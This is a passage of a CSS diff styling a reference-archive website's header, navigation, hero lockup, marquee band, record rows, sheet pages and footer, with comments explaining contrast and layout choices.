+ the masthead brand is its smallest application. Same `.brand` hook as
+ before, so the footer lockup picks the face up too. */
+.brand {
+ font-family: var(--font-wordmark);
+ font-weight: 850;
+ font-stretch: 70%;
+ text-transform: uppercase;
+ font-size: 1.18rem;
+ letter-spacing: 0.01em;
+ display: inline-flex;
+ align-items: center;
+ gap: 0.06rem;
+ white-space: nowrap;
+ color: var(--fg);
+}
+.brand .slash { color: var(--accent); }
+.brand .blink { color: var(--accent); }
+@media (prefers-reduced-motion: no-preference) {
+ .brand .blink { animation: dmn-blink 1.15s steps(1) infinite; }
+}
+/* On the masthead the brand is the accent-filled left segment
+ (`.seg--accent`), so its ink flips to the base and the glyph garnish
+ follows — accent slashes on an accent ground would be invisible. The
+ footer lockup keeps the un-filled treatment above. Scoped rather than
+ changed in place because `.brand` is shared with the footer. */
+.site-header .brand { color: var(--base); }
+.site-header .brand .slash,
+.site-header .brand .blink { color: color-mix(in oklab, var(--base) 78%, transparent); }
+
+/* The numbered nav. The entries are `.seg`s, so the JetBrains Mono
+ furniture type, the full-height flex and the hairline dividers all come
+ from chrome.css; what is left here is the colour logic. Each entry owns a
+ hue and its index wears it, so the bar reads as the colour legend the
+ rest of the site keys back to rather than as five grey words. The index
+ keeps its space at rest — revealing it on hover would reflow the whole
+ bar every time the pointer crossed an item. */
+.mast-nav {
+ display: flex;
+ align-items: stretch;
+ margin-left: auto;
+}
+.mast-nav a {
+ color: var(--fg-dim);
+ transition: color 200ms ease, background-color 220ms ease;
+}
+.mast-nav a:hover { color: var(--fg); background: var(--wash-strong); }
+.mast-nav a[aria-current='page'] { color: var(--fg); }
+.mast-nav .n {
+ font-size: var(--step-micro);
+ color: var(--fg-faint);
+ transition: color 200ms ease;
+}
+.mast-nav a:hover .n,
+.mast-nav a[aria-current='page'] .n { color: var(--acc); }
+@media (max-width: 900px) { .mast-nav .lbl { display: none; } }
+@media (max-width: 640px) { .mast-nav { display: none; } }
+
+.icon-btn.mobile-nav-trigger { display: none; }
+.mobile-nav-glyph {
+ display: grid;
+ gap: 4px;
+ width: 16px;
+}
+.mobile-nav-glyph i {
+ display: block;
+ width: 100%;
+ height: 1px;
+ background: currentColor;
+ transform-origin: center;
+ transition: transform 180ms ease, opacity 140ms ease;
+}
+.mobile-nav-trigger[aria-expanded='true'] .mobile-nav-glyph i:first-child {
+ transform: translateY(5px) rotate(45deg);
+}
+.mobile-nav-trigger[aria-expanded='true'] .mobile-nav-glyph i:nth-child(2) { opacity: 0; }
+.mobile-nav-trigger[aria-expanded='true'] .mobile-nav-glyph i:last-child {
+ transform: translateY(-5px) rotate(-45deg);
+}
+
+.mobile-nav { display: none; }
+@media (max-width: 640px) {
+ .icon-btn.mobile-nav-trigger { display: grid; }
+ .mobile-nav:not([hidden]) {
+ position: absolute;
+ top: 100%;
+ left: 0;
+ right: 0;
+ display: grid;
+ background: var(--base);
+ border-bottom: 1px solid var(--fg);
+ }
+ .mobile-nav a {
+ position: relative;
+ display: grid;
+ grid-template-columns: 2.25rem 1fr;
+ align-items: center;
+ gap: 0.8rem;
+ min-height: 48px;
+ padding: 0.65rem clamp(1.15rem, 3.2vw, 2.75rem);
+ border-bottom: 1px solid var(--rule);
+ font-family: var(--font-mono);
+ font-size: 11px;
+ letter-spacing: var(--track-micro);
+ text-transform: uppercase;
+ color: var(--fg-dim);
+ }
+ .mobile-nav a:last-child { border-bottom: 0; }
+ .mobile-nav a::before {
+ content: '';
+ position: absolute;
+ inset: 0 auto 0 0;
+ width: 3px;
+ background: var(--acc);
+ transform: scaleY(0);
+ transform-origin: 50% 100%;
+ transition: transform 180ms var(--ease-in);
+ }
+ .mobile-nav a:hover,
+ .mobile-nav a[aria-current='page'] {
+ color: var(--fg);
+ background: color-mix(in oklab, var(--acc) 9%, transparent);
+ }
+ .mobile-nav a:hover::before,
+ .mobile-nav a[aria-current='page']::before { transform: scaleY(1); }
+ .mobile-nav .n { color: var(--acc); }
+}
+
+/* The action cluster runs the full height of the bar, flush against the
+ nav, so its own border-left is the divider between the two clusters and
+ `.seg + .seg` draws the rest. */
+.mast-actions {
+ display: flex;
+ align-items: stretch;
+ border-left: 1px solid var(--rule);
+}
+/* The base `.icon-btn` is a small boxed control — the search modal's close
+ button still uses it as one. In the segbar the same buttons are segments,
+ so the box comes off and they stretch to the bar's full height; the
+ scoped rules below carry that without touching the modal. */
+.icon-btn {
+ width: 34px; height: 34px;
+ display: grid; place-items: center;
+ border: 1px solid var(--rule);
+ color: var(--fg-dim);
+ transition: color 200ms ease, border-color 220ms ease, background-color 240ms ease;
+}
+.icon-btn:hover { color: var(--base); background: var(--fg); border-color: var(--fg); }
+.icon-btn svg { width: 17px; height: 17px; }
+.mast-actions .icon-btn {
+ width: auto; height: auto;
+ padding-inline: 0.8rem;
+ border: 0;
+}
+.mast-actions .icon-btn:hover { color: var(--fg); background: var(--wash-strong); }
+/* `border: 0` above ties `.seg + .seg` in specificity and would eat the
+ dividers between the action segments, so they are re-asserted here. */
+.mast-actions .seg + .seg { border-inline-start: 1px solid var(--rule); }
+
+/* The search segment. `.seg` carries the JetBrains Mono furniture type and
+ the full-height flex; this block is only the state colours and the kbd. */
+.search-trigger {
+ color: var(--fg-dim);
+ transition: color 200ms ease, background-color 220ms ease;
+}
+.search-trigger:hover { color: var(--fg); background: var(--wash-strong); }
+.search-trigger kbd {
+ font-family: var(--font-term); font-size: var(--step-micro);
+ padding: 0.08rem 0.32rem;
+ border: 1px solid var(--rule); color: var(--fg-faint);
+}
+.search-trigger .st-label { display: none; }
+@media (min-width: 560px) { .search-trigger .st-label { display: inline; } }
+
+@media (max-width: 420px) {
+ .site-header .wrap { padding-inline: 0.65rem; }
+ .brand { font-size: 0.93rem; }
+ .mast-actions .icon-btn { padding-inline: 0.55rem; }
+ .search-trigger { padding-inline: 0.55rem; }
+ .search-trigger kbd { display: none; }
+}
+
+/* ---- Nav rail (desktop) -------------------------------------------------- */
+.layout { display: grid; grid-template-columns: 1fr; gap: 2.5rem; }
+@media (min-width: 960px) {
+ .layout.has-rail { grid-template-columns: var(--rail) minmax(0, 1fr); }
+}
+.rail { position: sticky; top: 78px; align-self: start; max-height: calc(100vh - 100px); overflow-y: auto; display: none; }
+@media (min-width: 960px) { .rail { display: block; } }
+.rail h4 {
+ font-family: var(--font-mono); font-size: var(--step-micro);
+ letter-spacing: var(--track-wide);
+ text-transform: uppercase; color: var(--fg-faint);
+ margin: 1.3rem 0 0.6rem;
+ padding-bottom: 0.5rem;
+ border-bottom: 1px solid var(--rule);
+}
+.rail a {
+ display: flex; align-items: center; gap: 0.5rem;
+ padding: 0.34rem 0 0.34rem 0.7rem;
+ color: var(--fg-dim); font-size: 0.88rem;
+ border-left: 2px solid var(--rule);
+ transition: color 180ms ease, border-color 180ms ease, padding-left 260ms var(--ease-in);
+}
+.rail a:hover { color: var(--fg); border-left-color: var(--fg); padding-left: 1rem; }
+.rail a[aria-current='page'] { color: var(--accent); border-left-color: var(--accent); }
+.rail .rail-tag { font-family: var(--font-mono); font-size: var(--step-micro); color: var(--fg-faint); margin-left: auto; }
+
+/* ---- Badges + tags ------------------------------------------------------- */
+.badge {
+ display: inline-flex; align-items: center; gap: 0.35rem;
+ font-family: var(--font-mono); font-size: var(--step-micro);
+ letter-spacing: var(--track-micro);
+ padding: 0.22rem 0.5rem;
+ border: 1px solid var(--rule); color: var(--fg-dim);
+ text-transform: uppercase;
+}
+.badge svg { width: 12px; height: 12px; }
+.badge--beginner { color: var(--foam); border-color: color-mix(in oklab, var(--foam) 50%, transparent); }
+.badge--intermediate { color: var(--gold); border-color: color-mix(in oklab, var(--gold) 50%, transparent); }
+.badge--advanced { color: var(--love); border-color: color-mix(in oklab, var(--love) 50%, transparent); }
+
+.tag-pill {
+ font-family: var(--font-mono); font-size: var(--step-micro);
+ letter-spacing: var(--track-micro);
+ text-transform: uppercase;
+ padding: 0.24rem 0.55rem;
+ border: 1px solid var(--rule); color: var(--fg-dim);
+ transition: color 180ms ease, border-color 180ms ease, background-color 220ms ease;
+}
+.tag-pill:hover { color: var(--base); background: var(--fg); border-color: var(--fg); }
+
+.tags-row { display: flex; flex-wrap: wrap; gap: 0.4rem; }
+
+/* ---- Domain plates ------------------------------------------------------- */
+/* The twelve domains, as tiles. A tile is a slab with its hue on the top
+ edge and nowhere else: twelve fully-coloured cards would be a paint
+ chart, and the point of the colour is to key the domain, not to fill
+ the grid. */
+.grid-plates {
+ display: grid;
+ grid-template-columns: repeat(auto-fill, minmax(min(100%, 260px), 1fr));
+ gap: 1px;
+ background: var(--rule);
+ border: 1px solid var(--rule);
+}
+/* One-pixel gaps over an ink ground rather than real gutters: the grid
+ draws its own rules, so the twelve tiles read as one ruled table
+ instead of as twelve floating objects. */
+.plate-tile {
+ display: flex;
+ flex-direction: column;
+ gap: 0.5rem;
+ padding: 1.15rem 1.2rem 1.25rem;
+ background: var(--base);
+ border-top: 2px solid var(--acc);
+ transition: background-color 240ms ease;
+}
+.plate-tile:hover { background: var(--wash-strong); }
+.plate-tile__head {
+ display: flex;
+ align-items: baseline;
+ justify-content: space-between;
+ gap: 0.6rem;
+}
+.plate-tile__tag {
+ font-family: var(--font-mono); font-size: var(--step-micro);
+ letter-spacing: var(--track-wide); text-transform: uppercase;
+ color: var(--acc);
+}
+.plate-tile__n {
+ font-family: var(--font-mono); font-size: var(--step-micro);
+ letter-spacing: var(--track-micro); color: var(--fg-faint);
+}
+.plate-tile__title {
+ font-family: var(--font-display);
+ font-size: 1.32rem;
+ font-weight: 700;
+ font-stretch: 84%;
+ letter-spacing: -0.03em;
+ line-height: 0.98;
+ text-transform: uppercase;
+ color: var(--fg);
+}
+.plate-tile__blurb { color: var(--fg-dim); font-size: 0.875rem; line-height: 1.5; }
+.plate-tile__meta {
+ margin-top: auto;
+ padding-top: 0.7rem;
+ display: flex; align-items: center; justify-content: space-between;
+ font-family: var(--font-mono); font-size: var(--step-micro);
+ letter-spacing: var(--track-micro); text-transform: uppercase;
+ color: var(--fg-faint);
+}
+.plate-tile__arrow { color: var(--acc); transition: transform 250ms var(--ease); }
+.plate-tile:hover .plate-tile__arrow { transform: translateX(4px); }
+
+/* ---- Record rows --------------------------------------------------------- */
+/* The archive's core object: number, kind mark, title, meta — one line,
+ not a card. A title set as a display heading gives every entry the
+ weight of a section and makes a list of fifty unscannable; the point of
+ an index is the shape of the whole list, and that only reads if a row
+ is a row. */
+.index { border-top: 1px solid var(--rule); }
+.record {
+ display: block;
+ border-bottom: 1px solid var(--rule);
+ padding: 1.05rem clamp(0.6rem, 1.6vw, 1.3rem);
+ color: var(--fg);
+}
+.record:hover { color: var(--base); }
+/* Every cell placed explicitly rather than left to auto-flow. Narrow, the
+ row is two lines — number, title and chevron across the top, kind
+ underneath — and at md it collapses to the single line the index is
+ really for. Auto-placement cannot express both: the title has to take
+ the full middle on mobile, and the moment it does the chevron is pushed
+ onto a line of its own. */
+.record__grid {
+ display: grid;
+ grid-template-columns: 30px minmax(0, 1fr) auto;
+ align-items: center;
+ column-gap: 1.05rem;
+ row-gap: 0.35rem;
+}
+@media (min-width: 768px) {
+ .record__grid { grid-template-columns: 42px 112px minmax(0, 1fr) 108px 18px; row-gap: 0; }
+}
+.record__n {
+ grid-column: 1; grid-row: 1;
+ font-family: var(--font-mono); font-size: var(--step-micro);
+ letter-spacing: var(--track-micro); text-transform: uppercase;
+ color: var(--accent);
+}
+.record:hover .record__n { color: rgba(250, 244, 237, 0.78); }
+.record__kind {
+ grid-column: 2; grid-row: 2;
+ display: flex; align-items: center; gap: 0.45rem;
+ font-family: var(--font-mono); font-size: var(--step-micro);
+ letter-spacing: var(--track-micro); text-transform: uppercase;
+ color: var(--acc, var(--fg-faint));
+}
+@media (min-width: 768px) { .record__kind { grid-row: 1; } }
+/* On the hover ink the dawn accents sit at roughly 1:1, so every one of
+ them takes a cream weight rather than keeping a hue nobody could read.
+ /78 is the floor for the meta layer — cream on ink clears AA at /74 and
+ these are 10px, so they get a little over the line rather than sitting
+ on it. */
+.record:hover .record__kind,
+.record:hover .record__meta { color: rgba(250, 244, 237, 0.78); }
+.record__kind svg { width: 12px; height: 12px; }
+.record__title {
+ grid-column: 2; grid-row: 1;
+ font-family: var(--font-display);
+ font-size: 1.02rem;
+ font-weight: 600;
+ letter-spacing: -0.015em;
+ min-width: 0;
+ overflow: hidden;
+ text-overflow: ellipsis;
+ white-space: nowrap;
+}
+@media (min-width: 768px) { .record__title { grid-column: 3; } }
+.record__meta {
+ display: none;
+ font-family: var(--font-mono); font-size: var(--step-micro);
+ letter-spacing: var(--track-micro); text-transform: uppercase;
+ color: var(--fg-faint);
+}
+@media (min-width: 768px) { .record__meta { display: block; grid-column: 4; grid-row: 1; } }
+.record__arrow {
+ grid-column: 3; grid-row: 1;
+ color: var(--fg-faint);
+ transition: transform 250ms var(--ease);
+}
+@media (min-width: 768px) { .record__arrow { grid-column: 5; } }
+.record:hover .record__arrow { color: rgba(250, 244, 237, 0.78); transform: translateX(3px); }
+.record__arrow svg { width: 15px; height: 15px; }
+
+/* ---- Hero ---------------------------------------------------------------- */
+/* The lockup over the ledger. Full-bleed cream with an ink rule under it,
+ which is the page's hardest value break and the reason the marquee
+ below needs no top edge of its own. */
+.hero {
+ position: relative;
+ overflow: hidden;
+ border-bottom: 1px solid var(--fg);
+ background: var(--surface);
+}
+.hero__inner { padding-top: clamp(1.6rem, 3.4vw, 2.6rem); }
+/* Sized in `cqw` against the text column rather than in `vw` against the
+ window, so the lockup fills the space it actually has. In `vw` it is
+ sized against a viewport the column stops tracking at `--maxw`, and past
+ that width the type and the rule under it drift out of line with the
+ rest of the page. */
+.hero__lockup { container-type: inline-size; }
+.hero__line { height: 18.1cqw; }
+.hero__word {
+ font-family: var(--font-lockup);
+ font-size: 21cqw;
+ line-height: 0.86;
+ font-weight: 600;
+ letter-spacing: 0.012em;
+ color: var(--fg);
+}
+@media (prefers-reduced-motion: no-preference) {
+ /* The line keeps settling after the letters have landed: the glyphs
+ finish at 780ms, the tracking at 1500ms. */
+ .hero__word { animation: dmn-track-in 1500ms var(--ease-in) both; }
+ .hero__glyph { animation: dmn-up 780ms var(--ease-in) both; }
+}
+.hero__glyph {
+ display: inline-block;
+ transition: color 220ms ease;
+}
+/* Six letters, six accents, taken under the pointer rather than worn at
+ rest — the lockup teaches the key the rest of the site is coloured by,
+ but only to someone who goes looking. */
+.hero__glyph:nth-child(1):hover { color: var(--pine); }
+.hero__glyph:nth-child(2):hover { color: var(--iris); }
+.hero__glyph:nth-child(3):hover { color: var(--love); }
+.hero__glyph:nth-child(4):hover { color: var(--rose); }
+.hero__glyph:nth-child(5):hover { color: var(--gold); }
+.hero__glyph:nth-child(6):hover { color: var(--foam); }
+
+/* Ink rule. Timed to land as the last glyph settles — six glyphs at 54ms
+ plus the tail of the 780ms keyframe. Width in `cqw` for the same reason
+ the lockup is: a viewport-relative rule outgrows the column. */
+.hero__rule {
+ display: block;
+ height: 3px;
+ width: 64cqw;
+ margin-top: 0.6cqw;
+ transform-origin: 0 50%;
+ background: var(--pine);
+}
+@media (prefers-reduced-motion: no-preference) {
+ .hero__rule { animation: dmn-draw 720ms var(--ease-in) 780ms both; }
+}
+.hero__subline { height: 7cqw; margin-top: 0.9cqw; }
+.hero__sub {
+ font-family: var(--font-display);
+ font-size: 5.5cqw;
+ line-height: 0.82;
+ font-weight: 700;
+ font-stretch: 62%;
+ letter-spacing: 0.045em;
+ text-transform: uppercase;
+ color: var(--fg);
+ transform: scaleY(1.5);
+}
+/* One gesture rather than letter by letter: it is a subtitle, and two
+ per-glyph runs in a row read as an effect rather than as an entrance. */
+.hero__sub > span { display: inline-block; }
+@media (prefers-reduced-motion: no-preference) {
+ .hero__sub > span { animation: dmn-wipe-in 860ms cubic-bezier(0.22, 0.61, 0.36, 1) 380ms both; }
+}
+
+.hero__ledger {
+ margin-top: clamp(1.4rem, 3vw, 2.4rem);
+ padding-bottom: clamp(2rem, 4vw, 3rem);
+}
+.hero__card {
+ display: grid;
+ gap: 1.6rem 2.6rem;
+ border: 1px solid var(--fg);
+ background: var(--base);
+ padding: clamp(1.3rem, 2.4vw, 1.9rem);
+}
+@media (min-width: 720px) { .hero__card { grid-template-columns: repeat(auto-fit, minmax(280px, 1fr)); } }
+.hero__eyebrow {
+ font-family: var(--font-mono); font-size: 10.5px;
+ letter-spacing: 0.2em; text-transform: uppercase; color: var(--pine);
+}
+.hero__h2 {
+ margin-top: 0.85rem;
+ font-family: var(--font-display);
+ font-size: clamp(1.6rem, 2.5vw, 2.4rem);
+ line-height: 0.94;
+ font-weight: 700;
+ font-stretch: 84%;
+ letter-spacing: -0.03em;
+ text-transform: uppercase;
+}
+.hero__blurb { margin-top: 0.9rem; max-width: 46ch; color: var(--fg); font-size: 0.95rem; line-height: 1.5; }
+.hero__actions { margin-top: 1.2rem; display: flex; flex-wrap: wrap; gap: 0.6rem; }
+
+.hero__stats {
+ display: grid;
+ grid-template-columns: repeat(auto-fit, minmax(94px, 1fr));
+ gap: 1rem 1.3rem;
+ align-content: start;
+ border-top: 1px solid var(--fg);
+ padding-top: 1.1rem;
+ font-family: var(--font-mono);
+ font-size: 11px;
+ line-height: 1.6;
+ letter-spacing: 0.14em;
+ text-transform: uppercase;
+}
+.hero__stat b { font-weight: 400; }
+.hero__stat--iris b { color: var(--iris); }
+.hero__stat--love b { color: var(--love); }
+.hero__stat--gold b { color: var(--gold); }
+
+/* The shell readout beside the card. Borderless on purpose: the card is
+ the printed spec, this is the terminal output next to it, so the two
+ read as different registers rather than as two boxes. */
+.whoami { font-family: var(--font-mono); font-size: 12.5px; line-height: 1.6; max-width: 58ch; }
+.whoami__cmd { display: flex; align-items: center; gap: 0.5rem; color: var(--fg-faint); flex-wrap: wrap; }
+.whoami__cmd .u { color: var(--pine); }
+.whoami__cmd .c { color: var(--fg); }
+.whoami__caret {
+ display: inline-block; width: 0.5em; height: 1.05em;
+ background: color-mix(in oklab, var(--fg) 80%, transparent);
+ transform: translateY(0.12em);
+}
+@media (prefers-reduced-motion: no-preference) {
+ .whoami__caret { animation: dmn-blink 1.1s steps(1, end) infinite; }
+}
+.whoami__rows {
+ margin-top: 0.9rem;
+ padding-top: 0.9rem;
+ border-top: 1px solid var(--rule-faint);
+ display: grid;
+ grid-template-columns: 4.2rem 1fr;
+ gap: 0.45rem 1.2rem;
+ color: var(--fg-dim);
+}
+.whoami__rows dt { color: var(--fg-faint); }
+.whoami__rows dd { display: flex; align-items: center; gap: 0.5rem; }
+
+/* ---- Marquee band -------------------------------------------------------- */
+/* The index grammar run sideways. The band is a ground, not an accent —
+ see the `--band` note in tokens.css.
+
+ The bottom edge is the one at risk: it meets the page's next section at
+ too close a value to carry itself, which is why the ink rule below is
+ load-bearing rather than decorative. Do not drop it. */
+.marquee {
+ position: relative;
+ overflow: hidden;
+ background: var(--band);
+ /* Ink, written out rather than taken from `--fg`: the band pins the
+ night palette for its contents, which would flip this rule to a light
+ one. The edge below meets the cream page and the black tabs meet the
+ section under them, and in both cases it is a *dark* rule that keeps
+ the seam from bleeding. */
+ border-bottom: 1px solid #575279;
+ --marquee-fg: #faf4ed;
+ /* /78, not /62. Cream on this band clears AA at /74, and these are the
+ smallest words on the page *and* the only ones in motion, so they get
+ a little over the line rather than sitting on it. At /62 the index
+ numbers and sheet counts were legible in a still frame and mush while
+ the band was moving. */
+ --marquee-dim: rgba(250, 244, 237, 0.78);
+
+ /* Pine, lifted for this band only.
+ Every other night accent clears its floor on `--band`: iris 4.75,
+ foam 5.83, gold 6.06, rose 5.88, love 3.42 — all at or above the 3:1
+ large-text floor the display titles need. Published night pine
+ (#3e8fb0) lands at 2.73 and is the one that fails, because it is the
+ accent nearest the ground in both hue and value.
+ #6fb3d0 is the same hue walked up until it clears with headroom
+ (4.28:1) while staying visibly pine rather than sliding into foam,
+ which sits beside it in the rotation and would collapse two domains
+ onto one colour. */
+ --pine: #6fb3d0;
+}
+.marquee__track {
+ display: flex;
+ width: max-content;
+ will-change: transform;
+}
+/* Two identical runs translated as one unit to -50%, which lands the
+ second exactly where the first started — the reset is invisible. */
+.marquee__run {
+ display: flex;
+ flex: none;
+ align-items: center;
+}
+.marquee__item {
+ display: flex;
+ align-items: baseline;
+ gap: 0.7rem;
+ padding: 0.95rem clamp(1.1rem, 2.4vw, 2rem);
+ white-space: nowrap;
+ font-family: var(--font-mono);
+ /* 11px, not the 10px `--step-micro` every other label on the site uses.
+ This is the one place the furniture type is in motion, and a word
+ sliding past at 70px/s needs the extra pixel that a static eyebrow
+ does not. */
+ font-size: 11px;
+ letter-spacing: var(--track-micro);
+ text-transform: uppercase;
+ color: var(--marquee-fg);
+}
+.marquee__n { color: var(--marquee-dim); }
+/* The kind *word* stays cream and only its icon takes the hue. Colouring
+ both put three competing colours in every entry, which is what made the
+ band read as noise rather than as an index. */
+.marquee__kind { color: var(--marquee-fg); display: inline-flex; align-items: center; gap: 0.4rem; }
+.marquee__kind svg { width: 11px; height: 11px; color: var(--acc); }
+/* The credential in display type, the qualifier trailing in the date slot
+ — record-row grammar, horizontally. */
+.marquee__title {
+ font-family: var(--font-display);
+ font-size: 1.06rem;
+ font-weight: 700;
+ font-stretch: 84%;
+ letter-spacing: -0.02em;
+ text-transform: uppercase;
+ color: var(--acc);
+}
+.marquee__qual { color: var(--marquee-dim); }
+@media (max-width: 720px) { .marquee__qual { display: none; } }
+
+/* The band's own tab — `^:` survives in exactly one place. It is the
+ banner's self-naming mark, and the band names itself once; repeated on
+ every record it was furniture. The tab counts its records, because every
+ index on this site counts itself. */
+.marquee__tab {
+ position: absolute;
+ top: 0; bottom: 0;
+ z-index: 2;
+ display: flex;
+ align-items: center;
+ gap: 0.5rem;
+ padding-inline: clamp(0.9rem, 2.2vw, 1.5rem);
+ /* The tabs are their own ground: Rosé Pine's black, which is the page's
+ furniture ink rather than another colour competing with the band. The
+ band pins the night palette (`.plate`), so `--base` is that black in
+ both modes. */
+ background: var(--base);
+ color: #faf4ed;
+ font-family: var(--font-mono);
+ font-size: var(--step-micro);
+ letter-spacing: var(--track-wide);
+ text-transform: uppercase;
+}
+.marquee__tab--l { left: 0; }
+.marquee__tab--r { right: 0; }
+@media (max-width: 640px) { .marquee__tab--r { display: none; } }
+.marquee__tab .dot { color: #9ccfd8; }
+
+/* ---- Section banner ------------------------------------------------------ */
+/* Dark plate, live noise field, left scrim. Legibility on the plate is
+ carried by two layers, not one: the canvas erases its own top and bottom
+ bands, AND this gradient sits over the noise, under the content. */
+.banner {
+ position: relative;
+ overflow: hidden;
+ background: var(--plate);
+ border-bottom: 1px solid var(--fg);
+}
+.banner__field { position: absolute; inset: 0; width: 100%; height: 100%; display: block; }
+.banner__scrim {
+ position: absolute;
+ top: 0; bottom: 0; left: 0;
+ width: 68%;
+ pointer-events: none;
+ background: linear-gradient(
+ 90deg,
+ rgb(var(--plate-scrim) / 0.95) 0%,
+ rgb(var(--plate-scrim) / 0.86) 52%,
+ rgb(var(--plate-scrim) / 0) 100%
+ );
+}
+.banner__body {
+ position: relative;
+ z-index: 2;
+ display: grid;
+ gap: 1.8rem 2.6rem;
+ align-items: end;
+ padding-block: clamp(1.5rem, 3.2vw, 2.2rem);
+}
+@media (min-width: 900px) { .banner__body { grid-template-columns: minmax(0, 1fr) 280px; } }
+.banner__title {
+ margin-top: 0.85rem;
+ font-family: var(--font-display);
+ font-size: clamp(1.9rem, 4.2vw, 3.2rem);
+ line-height: 0.92;
+ font-weight: 700;
+ font-stretch: 82%;
+ letter-spacing: -0.035em;
+ text-transform: uppercase;
+ color: var(--fg);
+}
+.banner__blurb { margin-top: 0.85rem; max-width: 58ch; color: var(--fg-dim); font-size: 0.95rem; line-height: 1.55; }
+.banner__ledger {
+ display: grid;
+ gap: 0.55rem;
+ font-family: var(--font-mono);
+ font-size: 11px;
+ letter-spacing: var(--track-micro);
+ text-transform: uppercase;
+}
+.banner__row {
+ display: flex; align-items: baseline; justify-content: space-between;
+ gap: 1rem;
+ padding-bottom: 0.5rem;
+ border-bottom: 1px solid var(--rule);
+ color: var(--fg-faint);
+}
+.banner__row b { font-weight: 400; color: var(--fg); }
+.banner__row--acc b { color: var(--acc, var(--accent)); }
+
+/* ---- Section headers ----------------------------------------------------- */
+.section { margin-top: clamp(2.4rem, 5.5vw, 4rem); }
+.section:last-child { padding-bottom: clamp(2.5rem, 6vw, 4.5rem); }
+.section-head {
+ display: flex; align-items: flex-end; justify-content: space-between;
+ gap: 1rem; margin-bottom: 1.2rem;
+}
+.section-head h2 {
+ margin-top: 0.6rem;
+ font-family: var(--font-display);
+ font-size: clamp(1.5rem, 2.8vw, 2.2rem);
+ font-weight: 700;
+ font-stretch: 84%;
+ letter-spacing: -0.03em;
+ line-height: 0.94;
+ text-transform: uppercase;
+}
+
+/* ---- Payloads call-to-action band ---------------------------------------- */
+.cta-band {
+ --cta-ground: var(--band-ledger);
+ display: block;
+ background: var(--cta-ground);
+ border-block: 1px solid var(--fg);
+ color: #faf4ed;
+}
+.cta-band--internal { --cta-ground: var(--band-internal); }
+.cta-band__body {
+ display: flex; align-items: center; justify-content: space-between;
+ gap: 1.6rem; flex-wrap: wrap;
+ padding-block: clamp(1.5rem, 3.2vw, 2.3rem);
+}
+.cta-band__eyebrow {
+ font-family: var(--font-mono); font-size: var(--step-micro);
+ letter-spacing: var(--track-wide); text-transform: uppercase;
+ color: rgba(250, 244, 237, 0.72);
+}
+.cta-band h2 {
+ margin-top: 0.6rem;
+ font-family: var(--font-display);
+ font-size: clamp(1.7rem, 3.4vw, 2.6rem);
+ font-weight: 700; font-stretch: 82%;
+ letter-spacing: -0.035em; line-height: 0.94;
+ text-transform: uppercase;
+ color: #faf4ed;
+}
+.cta-band p { margin-top: 0.7rem; max-width: 54ch; color: rgba(250, 244, 237, 0.85); font-size: 0.93rem; line-height: 1.55; }
+.cta-band .btn {
+ background: transparent; color: #faf4ed;
+ border-color: rgba(250, 244, 237, 0.5);
+ flex: none;
+}
+.cta-band:hover .btn { background: #faf4ed; color: var(--cta-ground); border-color: #faf4ed; }
+
+/* ---- Sheet page ---------------------------------------------------------- */
+/* Same measure as the body below it, so the title, the rule under the
+ eyebrow and the prose all start and end on the same two lines. */
+.sheet-head { margin-top: 1.6rem; max-width: 1080px; }
+.breadcrumb {
+ font-family: var(--font-mono); font-size: var(--step-micro);
+ letter-spacing: var(--track-micro); text-transform: uppercase;
+ color: var(--fg-faint);
+ display: flex; gap: 0.45rem; flex-wrap: wrap; align-items: center;
+}
+.breadcrumb a:hover { color: var(--accent); }
+.breadcrumb .sep { opacity: 0.45; }
+.sheet-title {
+ margin-top: 0.9rem;
+ font-family: var(--font-display);
+ font-size: clamp(1.9rem, 4vw, 3rem);
+ font-weight: 700; font-stretch: 84%;
+ letter-spacing: -0.035em; line-height: 0.94;
+ text-transform: uppercase;
+}
+.sheet-meta { display: flex; flex-wrap: wrap; gap: 0.5rem; align-items: center; margin-top: 1rem; }
+.sheet-desc { color: var(--fg-dim); font-size: var(--step-1); margin-top: 1rem; max-width: 70ch; }
+
+/* The reading measure, not the archive measure. `--maxw` is 1440px because
+ the index pages are built out of full-bleed bands and ruled tables; a
+ reading column laid out on it leaves a dead third between the prose and
+ the contents rail. The sheet pages get their own, narrower one. */
+.sheet-layout {
+ display: grid; grid-template-columns: 1fr;
+ gap: 2.5rem; margin-top: 2.2rem;
+ max-width: 1080px;
+}
+@media (min-width: 1040px) { .sheet-layout { grid-template-columns: minmax(0, 1fr) 220px; } }
+.toc { position: sticky; top: 78px; align-self: start; max-height: calc(100vh - 100px); overflow-y: auto; display: none; }
+@media (min-width: 1040px) { .toc { display: block; } }
+.toc h4 {
+ font-family: var(--font-mono); font-size: var(--step-micro);
+ letter-spacing: var(--track-wide); text-transform: uppercase;
+ color: var(--fg-faint); margin-bottom: 0.7rem;
+ padding-bottom: 0.5rem; border-bottom: 1px solid var(--rule);
+}
+.toc a {
+ display: block; padding: 0.26rem 0 0.26rem 0.7rem;
+ border-left: 2px solid var(--rule);
+ color: var(--fg-faint); font-size: 0.82rem; line-height: 1.4;
+ transition: color 180ms ease, border-color 180ms ease;
+}
+.toc a:hover, .toc a.active { color: var(--accent); border-left-color: var(--accent); }
+.toc a.lvl-3 { padding-left: 1.3rem; font-size: 0.78rem; }
+
+.prevnext { display: grid; gap: 1px; margin-top: 3rem; background: var(--rule); border: 1px solid var(--rule); }
+@media (min-width: 620px) { .prevnext { grid-template-columns: 1fr 1fr; } }
+.prevnext a { padding: 1.1rem 1.2rem; background: var(--base); transition: background-color 240ms ease; }
+.prevnext a:hover { background: var(--wash-strong); }
+.prevnext .dir {
+ font-family: var(--font-mono); font-size: var(--step-micro);
+ color: var(--fg-faint); letter-spacing: var(--track-wide); text-transform: uppercase;
+}
+.prevnext .nx { text-align: right; }
+.prevnext strong {
+ display: block; margin-top: 0.4rem; color: var(--fg);
+ font-family: var(--font-display); font-weight: 600; letter-spacing: -0.015em;
+}
+
+/* ---- Footer -------------------------------------------------------------- */
+/* A dark band closing the cream page — the same object as the marquee and
+ the banners, in its last position. */
+.site-footer {
+ position: relative;
+ overflow: hidden;
+ margin-top: clamp(3rem, 7vw, 5.5rem);
+ border-top: 1px solid var(--fg);
+ padding-block: clamp(2rem, 4vw, 3rem);
+ background: var(--base);
+ color: var(--fg-dim);
+}
+.site-footer .wrap {
+ display: grid; gap: 1.6rem 2.5rem;
+ align-items: start;
+}
+@media (min-width: 760px) { .site-footer .wrap { grid-template-columns: minmax(0, 1fr) auto; } }
+.site-footer a:hover { color: var(--accent); }
+.footer-note { font-size: 0.86rem; max-width: 56ch; line-height: 1.55; margin-top: 0.8rem; }
+.footer-mono {
+ display: block;
